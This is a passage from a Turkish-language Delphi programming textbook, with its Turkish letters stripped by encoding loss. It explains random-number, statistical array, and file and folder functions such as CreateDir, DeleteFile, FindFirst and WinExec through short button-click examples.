Parametre ile belirtilen dizi elemanlarndan rastgele bir tanesinin deerini dndrmek iin kullanlan fonksiyondur. Dizi eleman deerleri dnda baka bir deerin dndrlmesi szkonusu deildir. procedure TForm1.Button3Click(Sender: TObject); var x:Array[0..4] of Integer; sonuc:Integer; begin x[0]:=100;x[1]:=200; x[2]:=300;x[3]:=400;x[4]:=500; sonuc:=RandomFrom(x);//dizi elemanlarndan se Form1.Caption:=FloatToStr(sonuc); end; Yukardaki rnei inceleyecek olursanz; X dizi deikeninin {100,200,300,400,500} olmak zere 5 adet eleman bulunmaktadr. Her defasnda bu elemanlardan bir tanesinin deerini dndrecektir. RandomRange(sayi1,sayi2)
Tanmlama: function RandomRange(const AFrom, ATo: Integer): Integer;

Parametre ile belirtilen iki tam say arasnda rastgele tam say retmek iin kullanlan fonksiyondur. retilen saylar arasnda st snr yoktur. procedure TForm1.Button4Click(Sender: TObject); var sonuc:Integer; begin sonuc:=RandomRange(10,100);//10-99 arasnda rastgele tamsay ret Form1.Caption:=FloatToStr(sonuc); end; Parametre olarak belirtilen saylarn hangisinin byk olaca fonksiyon iin nem arzetmemektedir. Saysal Loto Program: Aadaki rnekte daha nce pointer deiken kullanlarak zlen saysal loto programnn iareti deiken kullanlmadan zmnn nasl yaplabilecei gsterilmitir. Aadaki form tasarmn oluturunuz. 350

imdi de aadaki kodlar ret isimli buttonun OnClick yordamna ekleyip programnz altrnz. procedure TForm1.Button5Click(Sender: TObject); //uses satrna math eklemeyi unutmayn var loto:Array[0..5] of Integer; x,y:Integer; begin ListBox1.Clear;//Listeyi Temizle randomize; //rasgele say ret loto[0]:=RandomRange(1,50); //1-49 arasnda rasgele say ret ListBox1.Items.Add(IntToStr(loto[0]));//ilk elman yaz for x:=1 to 5 do begin loto[x]:=RandomRange(1,50); //yeni say ret y:=0; repeat if loto[x]=loto[y] then //ayn say retilirse begin loto[x]:=RandomRange(1,50); //yeniden ret y:=-1; end; inc(y); until y>x-1; ListBox1.Items.Add(IntToStr(loto[x])); end;end; ret isimli buttona her tkladnz zaman liste temizlenerek, yeni alt adet say retilecektir. 351

Dizi Fonksiyonlar: Dizilerle ilgili ilemlerinizi kolay ve hzl yapabilmeniz iin Delphiye bir ok dizi fonksiyonu eklenmitir. Aada bu fonksiyonlar srasyla incelenmekte olup, ardndan da rneklendirmeleri yaplmtr. Fonksiyonlarn kullanlabilmesi iin uses satrna math ktphanesini eklemeyi unutmaynz. uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls,math;//eklemeyi unutmaynz. Mean(dizi)
Tanmlama: function Mean(const Data: array of Double): Extended;

Parametre ile girilen dizi elemanlarnn aritmetik ortalamasn hesaplayan bir fonksiyondur. Dizi deikeninin tipi ondalkl say tipinde olmaldr. procedure TForm1.Button1Click(Sender: TObject); //uses satrna math eklemeyi unutmayn const dizi:Array[0..3] of Double=(10,20,30,40);//tip ondalkl olmal var sonuc:Extended; begin sonuc:=Mean(dizi); Form1.Caption:='Elemanlarn Aritmetik Ortalamas='+FloatToStr(sonuc);end; Sum(dizi)
Tanmlama: function Sum(const Data: array of Double): Extended; register;

Parametre olarak diziye gnderilen elemanlarn toplamn hesaplayan bir fonksiyondur. procedure TForm1.Button2Click(Sender: TObject); //uses satrna math eklemeyi untmayn const dizi:Array[0..3] of Double=(10,20,30,40); var sonuc:Extended; begin sonuc:=Sum(dizi); Form1.Caption:='Elemanlarn Toplam='+FloatToStr(sonuc);end;

352

SumInt(dizi)
Tanmlama: function SumInt(const Data: array of Integer): Integer register;

Parametre olarak girilen dizi elemanlarnn toplamn hesaplayan bir fonksiyondur. Burada dikkat edeceiniz husus, dizi elemanlarnn tam say tipli tanmlanmalar gerektiidir. procedure TForm1.Button3Click(Sender: TObject); const dizi:Array[0..3] of Integer=(10,20,30,40);//tam say tipli olmal var sonuc:Integer; begin sonuc:=SumInt(dizi); Form1.Caption:='Elemanlarn Toplam='+IntToStr(sonuc); end; Bir nceki fonksiyon zaten bu ilemi kolayca yapar demeyin. nk tam sayl ilemler ok daha hzl bir ekilde sonuca ulatrlrlar. SumOfSquares(dizi)
Tanmlama: function SumOfSquares(const Data: array of Double): Extended;

Parametre olarak girilen dizi elemanlarnn karelerinin toplamn hesaplayan bir fonksiyondur. procedure TForm1.Button4Click(Sender: TObject); //uses satrna math eklemeyi unutmayn const dizi:Array[0..3] of Double=(10,20,30,40); var sonuc:Extended; begin sonuc:=SumOfSquares(dizi); Form1.Caption:='Elemanlarn Kareleri Toplam='+FloatToStr(sonuc); end; Fonksiyondan geriye dnen deer ondalkl say olaca iin, reel tip bir deikene aktarlmaldr.

353

SumsAndSquares(dizi,toplam,kare_toplam
Tanmlama: procedure SumsAndSquares(const Data: array of Double; var Sum, SumOfSquares: Extended) register;

Birinci parametre ile girilen dizi deikeninin elemanlarnn toplamn ikinci parametreye, elemanlarnn karelerinin toplamn da nc parametreye aktaran bir prosedrdr. procedure TForm1.Button5Click(Sender: TObject); //uses satrna math eklemeyi unutmayn const dizi:Array[0..3] of Double=(10,20,30,40); var toplam,kare_toplam:Extended; begin SumsAndSquares(dizi,toplam,kare_toplam); ShowMessage('Elemanlarn Toplam='+FloatToStr(toplam)+#13#10+ 'Elemanlarn Kareleri Toplam='+FloatToStr(kare_toplam)); end;

Program altrp button kontrolne tklarsanz, yukardaki pencere alarak size gerekli sonular bildirecektir. TotalVariance(dizi)
Tanmlama: function TotalVariance(const Data: array of Double): Extended;

Dizi elemanlarna ait toplam varyans hesaplayan birfonksiyondur. procedure TForm1.Button6Click(Sender: TObject); //uses satrna math eklemeyi unutmayn const dizi:Array[0..3] of Double=(10,20,30,40); var sonuc:Extended; begin sonuc:=TotalVariance(dizi); Form1.Caption:='Variance='+FloatToStr(sonuc);end; 354

Variance(dizi)
Tanmlama: function Variance(const Data: array of Double): Extended;

Dizi elemanlarna ait varyans deerini hesaplayan fonksiyondur. procedure TForm1.Button7Click(Sender: TObject); //uses satrna math eklemeyi unutmayn const dizi:Array[0..3] of Double=(10,20,30,40); var sonuc:Extended; begin sonuc:=Variance(dizi); Form1.Caption:='Variance='+FloatToStr(sonuc); end; EnsureRange(kk,orta,byk)
Tanmlama: function EnsureRange(const AValue, AMin, AMax: Integer): Integer; overload; function EnsureRange(const AValue, AMin, AMax: Int64): Int64; overload; function EnsureRange(const AValue, AMin, AMax: Double): Double; overload;

Parametre olarak girilen elemanlar arasnda ortanca deere sahip olan dndren bir fonksiyondur. procedure TForm1.Button8Click(Sender: TObject); //uses satrna math eklemeyi unutmayn var sonuc:Extended; begin sonuc:=EnsureRange(40,100,70);//orta eleman Form1.Caption:='Ortadaki Deer'+FloatToStr(sonuc);//70 yazar end; High(dizi)
Tanmlama: function High(X);

Parametre ile girilen dizinin en son elemannn index numarasn dndren bir fonksiyondur.

355

procedure TForm1.Button9Click(Sender: TObject); const dizi:Array[0..3] of Double=(10,20,30,40); var sonuc:Integer; begin sonuc:=High(dizi); Form1.Caption:='En son Eleman='+IntToStr(sonuc); //3 yazar end; rnee dikkat edecek olursanz tanmlam olduunuz dizi deikenin en son elemannn index numaras 3 tr. Bu deeri renmek iin kullanabileceiniz nemli bir fonksiyondur (Bilhassa dinamik dizilerde kullanm zorunlu gibidir). Low(dizi)
Tanmlama: function Low(X);

Parametre ile girilen dizinin ilk elemannn index numarasn dndren bir fonksiyondur. procedure TForm1.Button9Click(Sender: TObject); const dizi:Array[0..3] of Double=(10,20,30,40); var sonuc:Integer; begin sonuc:=Low(dizi); Form1.Caption:='En son Eleman='+IntToStr(sonuc); //0 yazar end; Dizinin ilk eleman (dizi[0]) 0 olduu iin, rneimizde geriye dnecek olan deer 0 olacaktr. Aadaki gibi bir (veya benzeri bir durumda) durumda bu iki fonksiyon sizin iin ok yararl olacaktr. Snf mevcudunun bilinmedii (veya her snf iin farkl olduu) durumlarda dizinizin ka eleman olaca bilinemeyecek, ayn zamanda alt ve st snrlar devaml olarak farkl olacaktr. Sabit deerler yerine bu fonksiyonlar kullanrsanz her zaman doru sonuca ulamanz mmkn olacaktr.

356

procedure TForm1.Button11Click(Sender: TObject); var ogrenci:Array of Integer; mevcut,i:Integer; begin mevcut:=StrToInt(InputBox('Snf Mevcudunu Giriniz','Mevcut','')); SetLength(ogrenci,mevcut); for i:=Low(ogrenci) to High(ogrenci) do//ilk ten son elemana kadar ogrenci[i]:=StrToInt(InputBox('Notu Giriniz','Not','')) end; MaxIntValue(dizi)
Tanmlama: function MaxIntValue(const Data: array of Integer): Integer;

Parametre olarak girilen dizi elemanlar ierisinde maximum deeri bulabilen bir fonksiyondur. Dikkat edeceiniz husus dizi deikenin tam say tipli olmas gerektiidir. procedure TForm1.Button12Click(Sender: TObject); //uses satrna math eklemeyi unutmayn const dizi:Array[0..3] of Integer=(10,70,30,40); var sonuc:Integer; begin sonuc:=MaxIntValue(dizi);//en byk deeri bul Form1.Caption:='Maximum Deer'+IntToStr(sonuc);//70 yazar end; MaxValue(dizi)
Tanmlama: function MaxValue(const Data: array of Double): Double;

Yine parametre olarak girilen dizi elemanlarndan en bynn deerini dndrr. stnl tam veya ondalkl saylarn ikisi iinde kullanlabilmesidir. Fonksiyondan geriye dnecek olan deer ondalkl say ierecei iin FloatToStr tip dntrme fonksiyonu sayesinde yazdrlabilir.

357

procedure TForm1.Button13Click(Sender: TObject); //uses satrna math eklemeyi unutmayn const dizi:Array[0..3] of Double=(10,20,30,40); var sonuc:Extended; begin sonuc:=MaxValue(dizi); Form1.Caption:='En Byk Deer'+FloatToStr(sonuc); //40 yazar end; MinIntValue(dizi)
Tanmlama: function MinIntValue(const Data: array of Integer): Integer;

Parametre olarak girilen dizi elemanlar ierisinde minimum deeri bulabilen bir fonksiyondur. Dikkat edeceiniz husus dizi deikenin tam say tipli olmas gerektiidir. procedure TForm1.Button12Click(Sender: TObject); //uses satrna math eklemeyi unutmayn const dizi:Array[0..3] of Integer=(10,70,30,40); var sonuc:Integer; begin sonuc:=MinIntValue(dizi);//en kk deeri bul Form1.Caption:='Maximum Deer'+IntToStr(sonuc);//10 yazar end; MinValue(dizi)
Tanmlama: function MinValue(const Data: array of Double): Double;

Yine parametre olarak girilen dizi elemanlarndan en knn deerini dndrr. stnl tam veya ondalkl saylarn ikisi iinde kullanlabilmesidir. Fonksiyondan geriye dnecek olan deer ondalkl say ierecei iin FloatToStr tip dntrme fonksiyonu sayesinde yazdrlabilir.

358

procedure TForm1.Button13Click(Sender: TObject); //uses satrna math eklemeyi unutmayn const dizi:Array[0..3] of Double=(10,20,30,40); var sonuc:Extended; begin sonuc:=MinValue(dizi);//en kk deeri bul Form1.Caption:='En Byk Deer'+FloatToStr(sonuc); //10 yazar end;

359

Klasr ve Dosya Fonksiyonlar: Delphi ierisinde klasr ve dosya ilemlerinde kullanabilmeniz iin bir ok fonksiyon tanmlanmtr. imdi bu fonksiyonlar srasyla incelemeye balayalm. ChDir(klasr_yolu)
Tanmlama: procedure ChDir(const S: string); overload; procedure ChDir(P: PChar); overload;

Aktif dizini deitirmek iin kullanlan bir fonksiyondur. procedure TForm1.Button1Click(Sender: TObject); begin ChDir('c:\Winnt\system32');//aktif dizin deitir end; Yukardaki gibi bir kod sayesinde aktif dizin 'c:\Winnt\system32' olmaktadr. Bu aamadan sonra dosyanz sadece ismini belirterek altrmanz (system32 ierisindeki) mmkn olacaktr. CloseFile(dosya_yolu)
Tanmlama: procedure CloseFile(var F);

Dosyay kapatmak iin kullanlan bir prosedrdr. Aadaki gibi bir kodlamayla dosyadaki ilk satr okuyup formunuzun balnda yazdrabilirsiniz (nihat.txt dosyasn yaratp ierisine bilgi girmeyi unutmaynz). procedure TForm1.Button2Click(Sender: TObject); var yol: TextFile; S: string; begin s:='Nihat Demirli'; AssignFile(yol, 'c:\winnt\nihat.txt'); Reset(yol); Readln(yol, S); //Dosyadan oku Form1.caption:=s;//Balkta yaz CloseFile(yol); //Dosyay kapat end; 360

CreateDir(klasr_yolu)
Tanmlama: function CreateDir(const Dir: string): Boolean;

Klasr oluturmak iin kullanlan bir fonksiyondur. ayet belirtilen yerde klasr baaryla oluturursa geriye true deerini, oluturamazsa da false deerini dndrecektir. procedure TForm1.Button3Click(Sender: TObject); //Klasr olutur begin if CreateDir('c:\winnt\gaziler') then //yaratldysa Form1.Caption:='Klasr yaratld' else Form1.Caption:='Klasr zaten Var. Veya Oluturulamad' end; Bu tip rneklerde var olan bir klasr kontrol ederek kod yazarsanz daha doru sonu almanz mmkn olacaktr. Aada bu husus rneklendirilmitir. procedure TForm1.Button1Click(Sender: TObject); //uses FileCtrl eklemeyi unutmaynz begin if not DirectoryExists('c:\temp') then//klasr yoksa olutur if not CreateDir('C:\temp') then ShowMessage(Oluturulamad) end; DeleteFile(dosya_yolu)
Tanmlama: function DeleteFile(const FileName: string): Boolean;

Parametreyle belirtilen yoldaki dosyay silmek iin kullanlan bir fonksiyondur. ayet silme ilemi baarl bir ekilde gerekletiyse true deerini, aksi takdirde de false deerini dndrecektir. procedure TForm1.Button4Click(Sender: TObject); begin if DeleteFile('c:\winnt\nihat.txt') then //dosya silindi ise ShowMessage('Dosya Baaryla Silindi') else ShowMessage('Dosya Bulunamad'); end; 361

DirectoryExists(klasr_yolu)
Tanmlama: function DirectoryExists(const Directory: string): Boolean;

Parametre ile belirtilen yolda klasrn var olup olmadn kontrol eden fonksiyondur. Fonksiyondan true deerinin dnmesi, belirtilen yolda o klasrn var olduu anlamn tamaktadr. Aadaki rnekte nce klasrn var olup olmad kontrol ettirilmekte, ayet varsa silinmektedir. procedure TForm1.Button5Click(Sender: TObject); begin if DirectoryExists('c:\winnt\gaziler') then RmDir('c:\winnt\gaziler')//klasr sil else ShowMessage('Silinecek Klasr Bulunamad'); end; DiskFree(src_numaras)
Tanmlama: function DiskFree(Drive: Byte): Int64;

Parametre ile belirtilen src ierisindeki bo alan renmek iin kullanabileceiniz bir fonksiyondur. Src numaralar ve deerleri aada tablo halinde verilmitir.
Numara 1 2 3 4 5 6 Ad A B C D E F

procedure TForm1.Button6Click(Sender: TObject); var bos_alan:Integer; begin bos_alan:=DiskFree(3);//c srcsnde ne kadar bo yer var Form1.Caption:=IntToStr(bos_alan); end;

362

DiskSize(src_numaras)
Tanmlama: function DiskSize(Drive: Byte): Int64;

Parametre ile fonksiyondur.

belirtilen

srcdeki

bo

bellek

miktarn

hesaplayan

procedure TForm1.Button7Click(Sender: TObject); var kapasite:Integer; begin kapasite:=DiskSize(3);//c srcsnn toplam kapasitesi Form1.Caption:=IntToStr(kapasite); end; FileAge(dosya_yolu)
Tanmlama: function FileAge(const FileName: string): Integer;

Dosyann yaratl tarihini hesaplayabilen bir fonksiyondur. Aadaki ekilde bir kodlamayla tm dosyalarn oluturulma tarihlerini renebilirsiniz. Fonksiyondan geriye dnen deer tam say tipinde olca iin FileDateToDateTime tip dntrme fonksiyonu sayesinde tarihsel bir deikene aktarlabilir. procedure TForm1.Button8Click(Sender: TObject); var zaman:TDateTime; goster:AnsiString; begin zaman:=FileDateToDateTime(FileAge('c:\gazi.txt'));//tarihe evir goster:=DateTimeToStr(zaman); Form1.Caption:=goster; end; FileDateToDateTime(dosya_tarihi)
Tanmlama: function FileDateToDateTime(FileDate: Integer): TDateTime;

FileAge fonksiyonundan geriye dnen deeri DateTime tipine dntrmek iin kullanlan bir fonksiyondur. Yukardaki rnei inceleyebilirsiniz.

363

FileExists(dosya_yolu)
Tanmlama: function FileExists(const FileName: string): Boolean;

Belirtilen yolda dosyann var olup olmadn kontrol eden bir fonksiyondur. ayet dosya belirtilen yerde varsa geriye true deeri, yoksa false deeri dnecektir. Aadaki uygulamada nce dosyann var olup olmad kontrol ettirilmekte, ardndan da varsa silinerek kullancya uyar verilmektedir. procedure TForm1.Button9Click(Sender: TObject); begin if FileExists('c:\winnt\nihat.txt') then//dosya varsa begin DeleteFile('c:\winnt\nihat.txt');//dosyay sil ShowMessage('Dosya Baaryla Silindi'); end else ShowMessage('Dosya Bulunamad'); end; FileGetAttr(dosya_yolu)
Tanmlama: function FileGetAttr(const FileName: string): Integer;

Dosyaya ait zellikleri renebilmek iin kullanlan bir fonksiyondur. Kullanmna ait rnek aada verilmitir. Aadaki form tasarmn oluturup, bir adette OpenDialog kontrol ekleyiniz.

364

procedure TForm2.Button1Click(Sender: TObject); var yol:AnsiString; sayi:Integer; begin if OpenDialog1.Execute then begin yol:=OpenDialog1.FileName;//seilen dosya yolu sayi:=FileGetAttr(yol); if (sayi and faHidden)<>0 then CheckBox1.Checked:=true; if sayi and faSysFile<>0 then CheckBox2.Checked:=true; if sayi and faReadOnly<>0 then CheckBox3.Checked:=true; if sayi and faDirectory<>0 then CheckBox4.Checked:=true; if sayi and faArchive<>0 then CheckBox5.Checked:=true; if sayi and faVolumeId<>0 then CheckBox6.Checked:=true; end end; Button kontrolne tkladktan sonra alan pencereden zelliklerini renmek istediiniz dosyay seebilirsiniz. Dosyanzn zelliklerine gre CheckBox lardan uygun olanlar iaretlenecektir. FileIsReadOnly(dosya_yolu)
Tanmlama: function FileIsReadOnly(const FileName: string): Boolean;

Parametre ile belirtilen yoldaki dosyann ReadOnly(salt okunur) olup olmadn bildiren bir fonksiyondur. Bilhassa ierisinde deiiklik yaplp yaplamayaca durumunun nemli olduu durumlarda ok iinize yarayacak bir fonksiyondur. Fonksiyondan, ayet dosya ReadOnly ise true, aksi durumda false deeri dnecektir. procedure TForm1.Button10Click(Sender: TObject); begin if FileIsReadOnly('c:\winnt\nihat.txt') then ShowMessage('Deiiklik Yapamazsnz'); end; 365

FileSearch(dosya_ad,aranacak_klasr)
Tanmlama: function FileSearch(const Name, DirList: string): string;

Birinci parametre ile belirleyeceiniz dosyay, ikinci parametre ile belirleyeceiniz klasrlerin ierisinde arar. Eer dosyay bulursa, bulduu dosyann yoluyla beraber ismini dndrecektir. ayet dosyay bu klasrlerde bulamazsa geriye bo string deeri dnecektir procedure TForm1.Button11Click(Sender: TObject); var yol:AnsiString; begin yol:=FileSearch('notepada.exe','c:\winnt;c:\winnt\system32'); if yol='' then//dosya yoksa ShowMessage('Dosya Bulunamad') else Form1.Caption:=yol;//c:\winnt\notepad.exe yazar end; Yukardaki rnekte Notepad.exe isimli dosya c:\winnt\system32 klasrlerinin ierisinde aranmaktadr. FileSetAttr(dosya_yolu,zellik)
Tanmlama: function FileSetAttr(const FileName: string; Attr: Integer): Integer;

c.\winnt

ve

Birinci parametre ile belirlenen dosyaya ikinci parametre ile belirlenen zellii atamak iin kullanlan bir fonksiyondur. Aadaki ekilde bir dosyaya hidden zellii kazandrabilirsiniz. procedure TForm1.Button12Click(Sender: TObject); begin FileSetAttr('c:\winnt\nihat.txt',faHidden);//Hidden zellii kazandr end;
zellik: faHidden faReadOnly faSysFile faVolumeid faDirectory faArchive Gizli dosya yapar Salt Okunur Yapar Sistem Dosyas zellii verir Etiket zellii kazandrr Klasr Ariv zelii verir Aklama

366

ayet birden fazla zellik ayn anda atanacaksa o zaman kodunuzu aadaki ekilde deitirmelisiniz. procedure TForm1.Button12Click(Sender: TObject); begin FileSetAttr('c:\winnt\nihat.txt',faHidden+faReadOnly); //hem ReadOnly hemde Hidden zellii ver end; FindFirst(dosya_yolu,zellik,ad)
Tanmlama: function FindFirst(const Path: string; Attr: Integer; var F: TSearchRec): Integer;

Belirtilen klasrn ierisinde joker karakterlerle belirtilen dosyalar arar, ilk bulduu dosyay geriye dndrr. Bulduu dosyann isim, zellik vs.leri TsearchRec tipli nc parametre olarak belirlenen deikene aktarlr. Aada bu fonksiyon rneklendirilmitir. procedure TForm1.Button13Click(Sender: TObject); var dosya:TSearchRec; begin FindFirst('c:\winnt\*.txt',faAnyFile,dosya); Form1.Caption:=dosya.Name; end; Yukardaki rnekte c:\winnt klasrnn ierisindeki txt dosyalarndan ilk bulduunu dosya isimli deikene aktarmaktadr. kinci parametre ile aranlacak dosyaya ait zellikler (hidden.archive, readonly vs.) belirlenebilir, sadece bu zellie uyan ilk dosya bulunabilir. Burada kullanlan faAnyFile seenei zellikleri dikkate almadan ilem yap anlamndadr. FindNext(dosya)
Tanmlama: function FindNext(var F: TSearchRec): Integer;

Tek dosya deil de (tm txt uzantl dosyalar veya tm exe uzantl dosyalar vs.) tm dosyalar listelenecekse, yani ayn isme ve zellie sahip dier dosyalarn da bulunmas gerekiyorsa bu durumlarda kullanacanz fonksiyon FindNext fonksiyonudur. Aadaki rnekte klasr ierisindeki tm txt uzantl dosyalar ListBox kontrol ierisinde listelenmektedir. 367

procedure TForm1.Button14Click(Sender: TObject); var dosya:TSearchRec; begin if FindFirst('c:\winnt\*.txt', faAnyFile, dosya) = 0 then begin repeat ListBox1.Items.Add(dosya.Name); until FindNext(dosya) <> 0;//varsa sonrakini bul FindClose(dosya); //Kapat end; end;

rnekte c:\winnt klasrndeki tm txt dosyalar bulunup listBox kontrolne aktarlmaktadr. ForceDirectories(klasr_yolu)
Tanmlama: function ForceDirectories(Dir: string): Boolean;

Tek seferde i ie birden fazla klasr oluturmak iin kullanlan fonksiyondur. Aadaki gibi bir kodla ayn anda tane klasr i ie oluturulmaktadr. procedure TForm1.Button15Click(Sender: TObject); begin ForceDirectories('c:\nihat\prestige\gazi');//i ie klasr olutur end;

368

GetCurrentDir
Tanmlama: function GetCurrentDir: string;

Parametresiz kullanlan bu fonksiyon sayesinde aktif allan klasrn yolu renilebilir. procedure TForm1.Button16Click(Sender: TObject); begin Form1.Caption:=GetCurrentDir;//aktif klasr yoluyla yaz end; GetDir(src_numaras,aktif_klasr)
Tanmlama: procedure GetDir(D: Byte; var S: string);

Birinci parametre ile verilen src numarasndaki aktif klasr renmek iin kullanlan bir fonksiyondur. procedure TForm1.Button17Click(Sender: TObject); var klasor:AnsiString; begin GetDir(3,klasor);// c srcsndeki aktif klasr ver Form1.Caption:=klasor; end; RemoveDir(klasr_yolu)
Tanmlama: function RemoveDir(const Dir: string): Boolean;

Parametre ile belirtilen yoldaki klasr silme iin kullanlan bir fonksiyondur. Dikkat edeceiniz husus silinecek olan klasrn iinin bo olmas gerektiidir. procedure TForm1.Button18Click(Sender: TObject); begin RemoveDir('c:\gazi\prestige');//klasr sil end; Bu tr ilemlerde ncelikle klasrn var olup olmadn kontrol ettirirseniz, ok daha salkl sonular alrsnz. Kodunuzu aadaki gibi deitiriniz. 369

procedure TForm1.Button18Click(Sender: TObject); begin if DirectoryExists('c:\gazi\prestige') then//klasr varsa begin RemoveDir('c:\gazi\prestige');//klasr sil ShowMessage('Klasr Silindi'); end else ShowMessage('Klasr Bulunamad'); end; RenameFile(dosya_yolu,yeni_isim)
Tanmlama: function RenameFile(const OldName, NewName: string): Boolean;

Birinci parametre ile verilen dosya ismini ikinci parametreyle belirtilen yere, belirtilen isimde kaydetmek iin kullanlan fonksiyondur. Dilerseniz ayn yolu gstererek bulunduu path ierisinde sadece dosyann ismini deitirmeniz de mmkndr. procedure TForm1.Button19Click(Sender: TObject); begin RenameFile('c:\winnt\nihat.txt','e:\gazi\sibel.txt'); end; Bu tr ilemlerde dosyann var olup olmadn kontrol ettirmek her zaman salkl olacaktr. Kodunuzu aadaki gibi deitiriniz. procedure TForm1.Button19Click(Sender: TObject); begin if FileExists('c:\winnt\nihat.txt') then //dosya varsa begin RenameFile('c:\winnt\nihat.txt','e:\gazi\sibel.txt');//ismi deitir ShowMessage('sim Deitirildi'); end else ShowMessage('Dosya bulunamad'); end;

370

SelectDirectory(klasr_ad,seenekler,help)
Tanmlama: function SelectDirectory(const Caption: string; const Root: WideString; out Directory: string): Boolean; overload; function SelectDirectory(var Directory: string; Options: TSelectDirOpts; HelpCtx: Longint): Boolean; overload;

Bu fonksiyon sayesinde, Select Directory penceresi atrlp kullancnn dizin semesi veya yaratmas salanabilir. procedure TForm1.Button20Click(Sender: TObject); //uses satrna FileCtrl ktphanesini ekleyin var yol: string; begin yol:= 'C:\Program Files'; if SelectDirectory(yol, [sdAllowCreate, sdPerformCreate, sdPrompt],1000) then Form1.Caption := yol; end; Yukardaki kodu yazp program altrrsanz, aadaki pencerenin almasn salarsnz.

Bu fonksiyonda birinci parametre Directory Name ksmnda varsaylan olarak alaca yolu belirleyebilirsiniz. kinci parametre iin seenekleri teker teker inceleyelim.

371

sdAllowCreate Bu parametre sayesinde Directory Name edit kutusunun gzkp kullancnn yeni bir klasr yaratabilmesini salayabilirsiniz. sdPerformCreate Kullancnn yeni bir klasr oluturabilmesini salar. sdPrompt Yanl bir yol girildii (olmayan bir yol) kullancy uyaracak pencerenin kp kmamasn ayarlayan zelliidir. ayet alan pencereye kullanc Yes derse klasr oluacaktr. imdi yukardaki kodlar ekleyip button kontrolne tklayn. Olmayan bir klasr ismi belirtin. Uyar penceresiyle karlaacaksnz (tabii ki hata yapmad iseniz). Pencereyi Yes dmesiyle kapatn klasrnzn olutuunu greceksiniz. Bu fonksiyonu kullanabilmeniz iin Uses satrna FileCtrl ktphanesini eklemeyi unutmaynz. ExtractFileDir(dosya_yolu)
Tanmlama: function ExtractFileDir(const FileName: string): string;

Parametre ile girilen dosya yolunun bir st klasrnn ismini dndren fonksiyondur. procedure TForm1.Button21Click(Sender: TObject); var dosya:AnsiString; begin dosya:=ExtractFileDir('c:\winnt\nihat.txt'); Form1.Caption:=dosya;//c\winnt yazar end; OpenDialog penceresinden seilen klasrn bulunduu partition sizin iin daha nemli olacandan kodu aadaki ekilde deitirebilirsiniz. Program altrdktan sonra alan pencereden seeceiniz klasrn bulunduu ana root, balkta yazacaktr.

372

procedure TForm1.Button21Click(Sender: TObject); var dosya:AnsiString; begin if OpenDialog1.Execute then begin dosya:=ExtractFileDir(OpenDialog1.FileName);//seilen dosyann rootu Form1.Caption:=dosya; end; end; ExtractFileDrive(yol)
Tanmlama: function ExtractFileDrive(const FileName: string): string;

Parametreyle belirtilen yolun ait olduu ana root (c-d-e-f vs) adn dndren fonksiyondur. procedure TForm1.Button22Click(Sender: TObject); var dosya:AnsiString; begin if OpenDialog1.Execute then begin dosya:=ExtractFileDrive(OpenDialog1.FileName); Form1.Caption:=dosya; end; end; ExtractFileExt(dosya_yolu)
Tanmlama: function ExtractFileExt(const FileName: string): string;

Parametre olarak girilen dosyann uzantsn bulmak iin kullanlan bir fonksiyondur. procedure TForm1.Button23Click(Sender: TObject); var dosya:AnsiString; begin if OpenDialog1.Execute then 373

begin dosya:=ExtractFileExt(OpenDialog1.FileName); Form1.Caption:=dosya;//seilen dosyaya gre .com veya .exe yazacaktr end; end; ExtractFileName(dosya_yolu)
Tanmlama: function ExtractFileName(const FileName: string): string;

Parametre ile girilen dosya yolundan dosyann ismini skp alabilen bir fonksiyondur. procedure TForm1.Button24Click(Sender: TObject); var dosya:AnsiString; begin if OpenDialog1.Execute then begin dosya:=ExtractFileName(OpenDialog1.FileName); Form1.Caption:=Setiiniz Dosyann Ad=+dosya; end; end; ExtractFilePath(dosya_yolu)
Tanmlama: function ExtractFilePath(const FileName: string): string;

Parametre ile girilen dosya yolunun bulunduu bir st klasrn ismini dndren fonksiyondur. procedure TForm1.Button25Click(Sender: TObject); var dosya:AnsiString; begin if OpenDialog1.Execute then begin dosya:=ExtractFilePath(OpenDialog1.FileName);//dosyann bulunduu //klasr Form1.Caption:=dosya; end; end;

374

ExtractShortPathName(dosya_yolu)
Tanmlama: function ExtractShortPathName(const FileName: string): string;

Parametre ile belirtilen dosya yolunu, dosya ismi sekiz (uzants hari) karakteri gemeyecek ekilde gsteren fonksiyondur. procedure TForm1.Button26Click(Sender: TObject); var dosya:AnsiString; begin if OpenDialog1.Execute then begin dosya:=ExtractShortPathName(OpenDialog1.FileName);//ksa isim Form1.Caption:=dosya; end; end; WinExec(dosya_yolu,seenek)
Tanmlama: function WinExec; external kernel32 name 'WinExec';

Parametre ile girilen dosya yolundaki exe uzantl dosyay altrmak iin kullanlan (Cde yazlmtr) bir fonksiyondur. Aada komuta ait rneklendirme yaplmtr. procedure TForm1.Button27Click(Sender: TObject); begin winExec('c:\Winnt\NotePad.exe',SW_SHOW);//notepad i altr. end; Burada kullanlan birinci parametre katar tipinde bir deiken (Pchar) tarafndan tutulabilmektedir. ayet Edit kutusunda yazm olduunuz dosya yolundaki exe uygulamasn altrmak isterseniz aadaki gibi bir kodlama kullanmalsnz. procedure TForm1.Button27Click(Sender: TObject); var dosya:PChar; begin dosya:=PChar(Edit1.Text);//katar AnsiStringe evir winExec(dosya,SW_SHOW); end;

375

imdi formunuza bir adet OpenDialog kontrol ekleyip aadaki kodlar altrnz. procedure TForm1.Button28Click(Sender: TObject); var dosya_yolu:PChar; begin OpenDialog1.Title:='Program altr'; OpenDialog1.Filter:='Exe Dosyalar|*.exe'; if OpenDialog1.Execute Then begin dosya_yolu:=PChar(OpenDialog1.FileName);//seilen dosya WinExec(dosya_yolu,SW_SHOW);//altr end; end; Program altrp button kontrolne tklarsanz, tandk bir pencere alacaktr. Bu pencereden dilediiniz dosyay seip altrabilirsiniz. Fonksiyonda kullanlan ikinci parametre (girilmesi zorunludur) exe dosyasnn altrlma eklini belirlemek iin kullanlmaktadr. Program ekran kaplasn m, taskbar da m alsn vs. seeneklerini bu parametreyle belirleyebilirsiniz. Aada ikinci parametre yerine kullanabileceiniz tm seenekler verilmitir.
SW_HIDE = 0; SW_SHOWNORMAL = 1; SW_NORMAL = 1; SW_SHOWMINIMIZED = 2; SW_SHOWMAXIMIZED = 3; SW_MAXIMIZE = 3; SW_SHOWNOACTIVATE = 4; SW_SHOW = 5; SW_MINIMIZE = 6; SW_SHOWMINNOACTIVE = 7; SW_SHOWNA = 8; SW_RESTORE = 9; SW_SHOWDEFAULT = 10; SW_MAX = 10;

376

